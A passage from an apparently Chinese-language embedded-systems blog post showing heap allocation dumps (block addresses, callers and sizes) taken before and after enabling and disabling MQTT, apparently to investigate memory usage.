</span></span><span class="line"><span class="cl">U,0x4187f8,0x4188f8,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x418830,0x418930,0x13ed5,24,8
</span></span><span class="line"><span class="cl">U,0x418848,0x418948,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x418880,0x418980,0x13ed5,24,5
</span></span><span class="line"><span class="cl">U,0x418898,0x418998,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x4188d0,0x4189d0,0x13ed5,24,5
</span></span><span class="line"><span class="cl">U,0x4188e8,0x4189e8,0x13ed5,24,1
</span></span><span class="line"><span class="cl">U,0x418900,0x418a00,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x418938,0x418a38,0x13ed5,24,7
</span></span><span class="line"><span class="cl">U,0x418950,0x418a50,0x3dc13,2720,2704
</span></span><span class="line"><span class="cl">U,0x4193f0,0x4194f0,0x803f4,3088,3072
</span></span><span class="line"><span class="cl">U,0x41a000,0x41a100,0x803f4,3088,3072
</span></span><span class="line"><span class="cl">U,0x41ac10,0x41ad10,0x80808,896,880
</span></span><span class="line"><span class="cl">U,0x41af90,0x41b090,0x803f4,1040,1024
</span></span><span class="line"><span class="cl">U,0x41b3a0,0x41b4a0,0x803f4,12304,12288
</span></span><span class="line"><span class="cl">U,0x41e3b0,0x41e4b0,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x41e420,0x41e520,0x80808,1296,1280
</span></span><span class="line"><span class="cl">U,0x41e930,0x41ea30,0x803f4,5136,5120
</span></span><span class="line"><span class="cl">U,0x41fd40,0x41fe40,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x41fdb0,0x41feb0,0x803f4,4112,4096
</span></span><span class="line"><span class="cl">U,0x420dc0,0x420ec0,0x803f4,112,92
</span></span><span class="line"><span class="cl">F,0x420e30,0x420f30,0x956db,64,36
</span></span><span class="line"><span class="cl">U,0x420e70,0x420f70,0x42d97,40,20
</span></span><span class="line"><span class="cl">U,0x420e98,0x420f98,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x420ef8,0x420ff8,0x42d97,40,20
</span></span><span class="line"><span class="cl">U,0x420f20,0x421020,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x420f80,0x421080,0x42d97,40,20
</span></span><span class="line"><span class="cl">U,0x420fa8,0x4210a8,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x421008,0x421108,0x42d97,40,20
</span></span><span class="line"><span class="cl">U,0x421030,0x421130,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x421090,0x421190,0x42d97,40,20
</span></span><span class="line"><span class="cl">U,0x4210b8,0x4211b8,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x421118,0x421218,0x42d97,40,20
</span></span><span class="line"><span class="cl">U,0x421140,0x421240,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x4211a0,0x4212a0,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x421200,0x421300,0x80c7c,64,44
</span></span><span class="line"><span class="cl">U,0x421240,0x421340,0x7e8ac,96,80
</span></span><span class="line"><span class="cl">U,0x4212a0,0x4213a0,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x421300,0x421400,0x7e8ac,96,80
</span></span><span class="line"><span class="cl">U,0x421360,0x421460,0x7e8ac,96,80
</span></span><span class="line"><span class="cl">U,0x4213c0,0x4214c0,0x7e8ac,96,80
</span></span><span class="line"><span class="cl">U,0x421420,0x421520,0x803f4,1040,1024
</span></span><span class="line"><span class="cl">U,0x421830,0x421930,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x4218a0,0x4219a0,0x803f4,1040,1024
</span></span><span class="line"><span class="cl">U,0x421cb0,0x421db0,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x421d20,0x421e20,0x7e8ac,96,80
</span></span><span class="line"><span class="cl">U,0x421d80,0x421e80,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x421de0,0x421ee0,0x961bb,24,4
</span></span><span class="line"><span class="cl">U,0x421df8,0x421ef8,0x97b51,376,360
</span></span><span class="line"><span class="cl">U,0x421f70,0x422070,0x6e705,32,11
</span></span><span class="line"><span class="cl">U,0x421f90,0x422090,0x9642b,328,312
</span></span><span class="line"><span class="cl">U,0x4220d8,0x4221d8,0x96435,472,456
</span></span><span class="line"><span class="cl">U,0x4222b0,0x4223b0,0x96455,24,4
</span></span><span class="line"><span class="cl">U,0x4222c8,0x4223c8,0x6e705,32,9
</span></span><span class="line"><span class="cl">U,0x4222e8,0x4223e8,0x97b9d,24,4
</span></span><span class="line"><span class="cl">U,0x422300,0x422400,0x97aa1,288,268
</span></span><span class="line"><span class="cl">U,0x422420,0x422520,0x97e8b,24,4
</span></span><span class="line"><span class="cl">U,0x422438,0x422538,0xa4c29,24,4
</span></span><span class="line"><span class="cl">U,0x422450,0x422550,0x9ec37,88,72
</span></span><span class="line"><span class="cl">U,0x4224a8,0x4225a8,0x95a9f,48,28
</span></span><span class="line"><span class="cl">U,0x4224d8,0x4225d8,0x95a9f,48,28
</span></span><span class="line"><span class="cl">U,0x422508,0x422608,0x9ef85,56,40
</span></span><span class="line"><span class="cl">U,0x422540,0x422640,0x95a9f,48,28
</span></span><span class="line"><span class="cl">F,0x422570,0x422670,0x95943,32,16
</span></span><span class="line"><span class="cl">U,0x422590,0x422690,0xaf3ed,48,12
</span></span><span class="line"><span class="cl">U,0x4225c0,0x4226c0,0x9d865,72,56
</span></span><span class="line"><span class="cl">U,0x422608,0x422708,0x9d88b,1472,1456
</span></span><span class="line"><span class="cl">U,0x422bc8,0x422cc8,0x9d893,64,48
</span></span><span class="line"><span class="cl">U,0x422c08,0x422d08,0x986b3,40,20
</span></span><span class="line"><span class="cl">U,0x422c30,0x422d30,0x986e7,112,96
</span></span><span class="line"><span class="cl">U,0x422ca0,0x422da0,0x96559,104,88
</span></span><span class="line"><span class="cl">U,0x422d08,0x422e08,0xb1e05,360,342
</span></span><span class="line"><span class="cl">U,0x422e70,0x422f70,0x83c1b,48,26
</span></span><span class="line"><span class="cl">F,0x422ea0,0x422fa0,0x9594d,216,130
</span></span><span class="line"><span class="cl">U,0x422f78,0x423078,0x140f3,40,6
</span></span><span class="line"><span class="cl">U,0x422fa0,0x4230a0,0x9fe83,96,80
</span></span><span class="line"><span class="cl">F,0x423000,0x423100,0x8c255,176,130
</span></span><span class="line"><span class="cl">U,0x4230b0,0x4231b0,0x83c1b,24,1
</span></span><span class="line"><span class="cl">U,0x4230c8,0x4231c8,0x83c1b,40,20
</span></span><span class="line"><span class="cl">F,0x4230f0,0x4231f0,0x812b7,40,20
</span></span><span class="line"><span class="cl">U,0x423118,0x423218,0xb25ff,496,476
</span></span><span class="line"><span class="cl">U,0x423308,0x423408,0x9e865,88,72
</span></span><span class="line"><span class="cl">U,0x423360,0x423460,0x95a9f,48,28
</span></span><span class="line"><span class="cl">U,0x423390,0x423490,0x95a9f,48,28
</span></span><span class="line"><span class="cl">U,0x4233c0,0x4234c0,0xa4883,56,40
</span></span><span class="line"><span class="cl">U,0x4233f8,0x4234f8,0xa350b,112,96
</span></span><span class="line"><span class="cl">U,0x423468,0x423568,0xb0193,1048,1028
</span></span><span class="line"><span class="cl">U,0x423880,0x423980,0xaf9f7,40,20
</span></span><span class="line"><span class="cl">U,0x4238a8,0x4239a8,0x9d865,72,56
</span></span><span class="line"><span class="cl">U,0x4238f0,0x4239f0,0x9d88b,1472,1456
</span></span><span class="line"><span class="cl">U,0x423eb0,0x423fb0,0x9d893,64,48
</span></span><span class="line"><span class="cl">U,0x423ef0,0x423ff0,0x9ef85,56,40
</span></span><span class="line"><span class="cl">U,0x423f28,0x424028,0x95a9f,48,28
</span></span><span class="line"><span class="cl">U,0x423f58,0x424058,0x9fa4f,64,48
</span></span><span class="line"><span class="cl">U,0x423f98,0x424098,0x9f79d,32,9
</span></span><span class="line"><span class="cl">U,0x423fb8,0x4240b8,0x6e705,32,9
</span></span><span class="line"><span class="cl">U,0x423fd8,0x4240d8,0xb1fa5,144,128
</span></span><span class="line"><span class="cl">F,0x424068,0x424168,0x9e9a1,3200,512
</span></span><span class="line"><span class="cl">U,0x424ce8,0x424de8,0x803f4,2064,2048
</span></span><span class="line"><span class="cl">U,0x4254f8,0x4255f8,0x803f4,112,92
</span></span><span class="line"><span class="cl">F,0x425568,0x425668,0x95b35,32,16
</span></span><span class="line"><span class="cl">U,0x425588,0x425688,0x803f4,2064,2048
</span></span><span class="line"><span class="cl">U,0x425d98,0x425e98,0x803f4,112,92
</span></span><span class="line"><span class="cl">F,0x425e08,0x425f08,0x14d11,41448,1932
</span></span></code></pre></td></tr></table>
</div>
</div><p>打开 mqtt，然后再关闭 mqtt 之后的 heap info:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span><span class="lnt">254
</span><span class="lnt">255
</span><span class="lnt">256
</span><span class="lnt">257
</span><span class="lnt">258
</span><span class="lnt">259
</span><span class="lnt">260
</span><span class="lnt">261
</span><span class="lnt">262
</span><span class="lnt">263
</span><span class="lnt">264
</span><span class="lnt">265
</span><span class="lnt">266
</span><span class="lnt">267
</span><span class="lnt">268
</span><span class="lnt">269
</span><span class="lnt">270
</span><span class="lnt">271
</span><span class="lnt">272
</span><span class="lnt">273
</span><span class="lnt">274
</span><span class="lnt">275
</span><span class="lnt">276
</span><span class="lnt">277
</span><span class="lnt">278
</span><span class="lnt">279
</span><span class="lnt">280
</span><span class="lnt">281
</span><span class="lnt">282
</span><span class="lnt">283
</span><span class="lnt">284
</span><span class="lnt">285
</span><span class="lnt">286
</span><span class="lnt">287
</span><span class="lnt">288
</span><span class="lnt">289
</span><span class="lnt">290
</span><span class="lnt">291
</span><span class="lnt">292
</span><span class="lnt">293
</span><span class="lnt">294
</span><span class="lnt">295
</span><span class="lnt">296
</span><span class="lnt">297
</span><span class="lnt">298
</span><span class="lnt">299
</span><span class="lnt">300
</span><span class="lnt">301
</span><span class="lnt">302
</span><span class="lnt">303
</span><span class="lnt">304
</span><span class="lnt">305
</span><span class="lnt">306
</span><span class="lnt">307
</span><span class="lnt">308
</span><span class="lnt">309
</span><span class="lnt">310
</span><span class="lnt">311
</span><span class="lnt">312
</span><span class="lnt">313
</span><span class="lnt">314
</span><span class="lnt">315
</span><span class="lnt">316
</span><span class="lnt">317
</span><span class="lnt">318
</span><span class="lnt">319
</span><span class="lnt">320
</span><span class="lnt">321
</span><span class="lnt">322
</span><span class="lnt">323
</span><span class="lnt">324
</span><span class="lnt">325
</span><span class="lnt">326
</span><span class="lnt">327
</span><span class="lnt">328
</span><span class="lnt">329
</span><span class="lnt">330
</span><span class="lnt">331
</span><span class="lnt">332
</span><span class="lnt">333
</span><span class="lnt">334
</span><span class="lnt">335
</span><span class="lnt">336
</span><span class="lnt">337
</span><span class="lnt">338
</span><span class="lnt">339
</span><span class="lnt">340
</span><span class="lnt">341
</span><span class="lnt">342
</span><span class="lnt">343
</span><span class="lnt">344
</span><span class="lnt">345
</span><span class="lnt">346
</span><span class="lnt">347
</span><span class="lnt">348
</span><span class="lnt">349
</span><span class="lnt">350
</span><span class="lnt">351
</span><span class="lnt">352
</span><span class="lnt">353
</span><span class="lnt">354
</span><span class="lnt">355
</span><span class="lnt">356
</span><span class="lnt">357
</span><span class="lnt">358
</span><span class="lnt">359
</span><span class="lnt">360
</span><span class="lnt">361
</span><span class="lnt">362
</span><span class="lnt">363
</span><span class="lnt">364
</span><span class="lnt">365
</span><span class="lnt">366
</span><span class="lnt">367
</span><span class="lnt">368
</span><span class="lnt">369
</span><span class="lnt">370
</span><span class="lnt">371
</span><span class="lnt">372
</span><span class="lnt">373
</span><span class="lnt">374
</span><span class="lnt">375
</span><span class="lnt">376
</span><span class="lnt">377
</span><span class="lnt">378
</span><span class="lnt">379
</span><span class="lnt">380
</span><span class="lnt">381
</span><span class="lnt">382
</span><span class="lnt">383
</span><span class="lnt">384
</span><span class="lnt">385
</span><span class="lnt">386
</span><span class="lnt">387
</span><span class="lnt">388
</span><span class="lnt">389
</span><span class="lnt">390
</span><span class="lnt">391
</span><span class="lnt">392
</span><span class="lnt">393
</span><span class="lnt">394
</span><span class="lnt">395
</span><span class="lnt">396
</span><span class="lnt">397
</span><span class="lnt">398
</span><span class="lnt">399
</span><span class="lnt">400
</span><span class="lnt">401
</span><span class="lnt">402
</span><span class="lnt">403
</span><span class="lnt">404
</span><span class="lnt">405
</span><span class="lnt">406
</span><span class="lnt">407
</span><span class="lnt">408
</span><span class="lnt">409
</span><span class="lnt">410
</span><span class="lnt">411
</span><span class="lnt">412
</span><span class="lnt">413
</span><span class="lnt">414
</span><span class="lnt">415
</span><span class="lnt">416
</span><span class="lnt">417
</span><span class="lnt">418
</span><span class="lnt">419
</span><span class="lnt">420
</span><span class="lnt">421
</span><span class="lnt">422
</span><span class="lnt">423
</span><span class="lnt">424
</span><span class="lnt">425
</span><span class="lnt">426
</span><span class="lnt">427
</span><span class="lnt">428
</span><span class="lnt">429
</span><span class="lnt">430
</span><span class="lnt">431
</span><span class="lnt">432
</span><span class="lnt">433
</span><span class="lnt">434
</span><span class="lnt">435
</span><span class="lnt">436
</span><span class="lnt">437
</span><span class="lnt">438
</span><span class="lnt">439
</span><span class="lnt">440
</span><span class="lnt">441
</span><span class="lnt">442
</span><span class="lnt">443
</span><span class="lnt">444
</span><span class="lnt">445
</span><span class="lnt">446
</span><span class="lnt">447
</span><span class="lnt">448
</span><span class="lnt">449
</span><span class="lnt">450
</span><span class="lnt">451
</span><span class="lnt">452
</span><span class="lnt">453
</span><span class="lnt">454
</span><span class="lnt">455
</span><span class="lnt">456
</span><span class="lnt">457
</span><span class="lnt">458
</span><span class="lnt">459
</span><span class="lnt">460
</span><span class="lnt">461
</span><span class="lnt">462
</span><span class="lnt">463
</span><span class="lnt">464
</span><span class="lnt">465
</span><span class="lnt">466
</span><span class="lnt">467
</span><span class="lnt">468
</span><span class="lnt">469
</span><span class="lnt">470
</span><span class="lnt">471
</span><span class="lnt">472
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">address: 0x40aae8
</span></span><span class="line"><span class="cl">size: <span class="m">152856</span>
</span></span><span class="line"><span class="cl">avail: <span class="m">43120</span>
</span></span><span class="line"><span class="cl">pool_start: 0x40aae8
</span></span><span class="line"><span class="cl">pool_end: 0x42fff0
</span></span><span class="line"><span class="cl">state,block_addr,user_addr,caller,blocksize,wanted_size
</span></span><span class="line"><span class="cl">U,0x40aae8,0x40abe8,0x1b695,4112,4096
</span></span><span class="line"><span class="cl">U,0x40baf8,0x40bbf8,0x1b6b5,40,20
</span></span><span class="line"><span class="cl">U,0x40bb20,0x40bc20,0x1b695,528,512
</span></span><span class="line"><span class="cl">U,0x40bd30,0x40be30,0x1b6b5,40,20
</span></span><span class="line"><span class="cl">U,0x40bd58,0x40be58,0x1b695,4112,4096
</span></span><span class="line"><span class="cl">U,0x40cd68,0x40ce68,0x1b6b5,40,20
</span></span><span class="line"><span class="cl">U,0x40cd90,0x40ce90,0x1b695,528,512
</span></span><span class="line"><span class="cl">U,0x40cfa0,0x40d0a0,0x1b6b5,40,20
</span></span><span class="line"><span class="cl">U,0x40cfc8,0x40d0c8,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x40d028,0x40d128,0x7e8ac,96,80
</span></span><span class="line"><span class="cl">U,0x40d088,0x40d188,0x28319,112,92
</span></span><span class="line"><span class="cl">U,0x40d0f8,0x40d1f8,0x28441,96,80
</span></span><span class="line"><span class="cl">U,0x40d158,0x40d258,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x40d1b8,0x40d2b8,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x40d218,0x40d318,0x28319,112,92
</span></span><span class="line"><span class="cl">U,0x40d288,0x40d388,0x28441,96,80
</span></span><span class="line"><span class="cl">U,0x40d2e8,0x40d3e8,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x40d348,0x40d448,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x40d3a8,0x40d4a8,0x28319,112,92
</span></span><span class="line"><span class="cl">U,0x40d418,0x40d518,0x28441,96,80
</span></span><span class="line"><span class="cl">U,0x40d478,0x40d578,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x40d4d8,0x40d5d8,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x40d538,0x40d638,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x40d5a8,0x40d6a8,0xa4be5,56,36
</span></span><span class="line"><span class="cl">U,0x40d5e0,0x40d6e0,0x9fb53,48,28
</span></span><span class="line"><span class="cl">U,0x40d610,0x40d710,0xb22f3,760,744
</span></span><span class="line"><span class="cl">U,0x40d908,0x40da08,0x7f51c,1040,1024
</span></span><span class="line"><span class="cl">U,0x40dd18,0x40de18,0x7f51c,112,92
</span></span><span class="line"><span class="cl">U,0x40dd88,0x40de88,0x7fe1c,288,272
</span></span><span class="line"><span class="cl">U,0x40dea8,0x40dfa8,0x7fefc,3088,3072
</span></span><span class="line"><span class="cl">U,0x40eab8,0x40ebb8,0x7fefc,112,92
</span></span><span class="line"><span class="cl">U,0x40eb28,0x40ec28,0x15769,32,16
</span></span><span class="line"><span class="cl">U,0x40eb48,0x40ec48,0x15789,128,108
</span></span><span class="line"><span class="cl">U,0x40ebc8,0x40ecc8,0x157a9,136,114
</span></span><span class="line"><span class="cl">U,0x40ec50,0x40ed50,0x80808,120,100
</span></span><span class="line"><span class="cl">U,0x40ecc8,0x40edc8,0x803f4,1040,1024
</span></span><span class="line"><span class="cl">U,0x40f0d8,0x40f1d8,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x40f148,0x40f248,0x7e8ac,96,80
</span></span><span class="line"><span class="cl">U,0x40f1a8,0x40f2a8,0x803f4,4112,4096
</span></span><span class="line"><span class="cl">U,0x4101b8,0x4102b8,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x410228,0x410328,0x28441,96,80
</span></span><span class="line"><span class="cl">U,0x410288,0x410388,0x1405f,64,40
</span></span><span class="line"><span class="cl">U,0x4102c8,0x4103c8,0xa01ef,40,22
</span></span><span class="line"><span class="cl">U,0x4102f0,0x4103f0,0x80c7c,72,44
</span></span><span class="line"><span class="cl">U,0x410338,0x410438,0x83c1b,24,8
</span></span><span class="line"><span class="cl">U,0x410350,0x410450,0x83c1b,40,4
</span></span><span class="line"><span class="cl">U,0x410378,0x410478,0xa1b0d,64,32
</span></span><span class="line"><span class="cl">U,0x4103b8,0x4104b8,0x34f21,1040,1024
</span></span><span class="line"><span class="cl">U,0x4107c8,0x4108c8,0x9f79d,40,9
</span></span><span class="line"><span class="cl">U,0x4107f0,0x4108f0,0x9a079,192,172
</span></span><span class="line"><span class="cl">U,0x4108b0,0x4109b0,0x9bf95,40,22
</span></span><span class="line"><span class="cl">U,0x4108d8,0x4109d8,0x99f8f,224,208
</span></span><span class="line"><span class="cl">U,0x4109b8,0x410ab8,0x9c46f,64,48
</span></span><span class="line"><span class="cl">U,0x4109f8,0x410af8,0x9dfef,40,22
</span></span><span class="line"><span class="cl">U,0x410a20,0x410b20,0x6e705,32,9
</span></span><span class="line"><span class="cl">U,0x410a40,0x410b40,0xa01ef,56,22
</span></span><span class="line"><span class="cl">U,0x410a78,0x410b78,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x410ad8,0x410bd8,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x410b38,0x410c38,0x28319,224,208
</span></span><span class="line"><span class="cl">U,0x410c18,0x410d18,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x410c78,0x410d78,0x285a9,2064,2048
</span></span><span class="line"><span class="cl">U,0x411488,0x411588,0x285a9,112,92
</span></span><span class="line"><span class="cl">U,0x4114f8,0x4115f8,0x80808,1120,1104
</span></span><span class="line"><span class="cl">U,0x411958,0x411a58,0x803f4,4112,4096
</span></span><span class="line"><span class="cl">U,0x412968,0x412a68,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x4129d8,0x412ad8,0x9d659,72,52
</span></span><span class="line"><span class="cl">U,0x412a20,0x412b20,0x7e8ac,96,80
</span></span><span class="line"><span class="cl">U,0x412a80,0x412b80,0x80808,1632,1616
</span></span><span class="line"><span class="cl">U,0x4130e0,0x4131e0,0x803f4,2064,2048
</span></span><span class="line"><span class="cl">U,0x4138f0,0x4139f0,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x413960,0x413a60,0x80808,256,240
</span></span><span class="line"><span class="cl">U,0x413a60,0x413b60,0x803f4,1168,1152
</span></span><span class="line"><span class="cl">U,0x413ef0,0x413ff0,0xa46c5,952,936
</span></span><span class="line"><span class="cl">U,0x4142a8,0x4143a8,0xb1ff7,56,4
</span></span><span class="line"><span class="cl">U,0x4142e0,0x4143e0,0x80808,176,160
</span></span><span class="line"><span class="cl">U,0x414390,0x414490,0x803f4,4112,4096
</span></span><span class="line"><span class="cl">U,0x4153a0,0x4154a0,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x415410,0x415510,0x7e8ac,96,80
</span></span><span class="line"><span class="cl">U,0x415470,0x415570,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x4154e0,0x4155e0,0x80808,1296,1280
</span></span><span class="line"><span class="cl">U,0x4159f0,0x415af0,0x803f4,112,92
</span></span><span class="line"><span class="cl">U,0x415a60,0x415b60,0x7eab8,96,80
</span></span><span class="line"><span class="cl">U,0x415ac0,0x415bc0,0x7e8ac,96,80
</span></span><span class="line"><span class="cl">U,0x415b20,0x415c20,0x803f4,136,92
</span></span><span class="line"><span class="cl">U,0x415ba8,0x415ca8,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x415be0,0x415ce0,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x415c18,0x415d18,0x13ed5,24,5
</span></span><span class="line"><span class="cl">U,0x415c30,0x415d30,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x415c68,0x415d68,0x13ed5,24,8
</span></span><span class="line"><span class="cl">U,0x415c80,0x415d80,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x415cb8,0x415db8,0x13ed5,24,7
</span></span><span class="line"><span class="cl">U,0x415cd0,0x415dd0,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x415d08,0x415e08,0x13ed5,24,2
</span></span><span class="line"><span class="cl">U,0x415d20,0x415e20,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x415d58,0x415e58,0x13ed5,24,7
</span></span><span class="line"><span class="cl">U,0x415d70,0x415e70,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x415da8,0x415ea8,0x13ed5,32,12
</span></span><span class="line"><span class="cl">U,0x415dc8,0x415ec8,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x415e00,0x415f00,0x13ed5,24,8
</span></span><span class="line"><span class="cl">U,0x415e18,0x415f18,0x1405f,56,40
</span></span><span class="line"><span class="cl">U,0x415e50,0x415f50,0x13ed5,32,11
</span></span><span class="line"><span class="cl">U,0x415e70,0x415f70,0x13ed5,32,12
</span></span><span class="line"><span class="cl">U,0x415e90,0x415f90,0x1405f,56,40
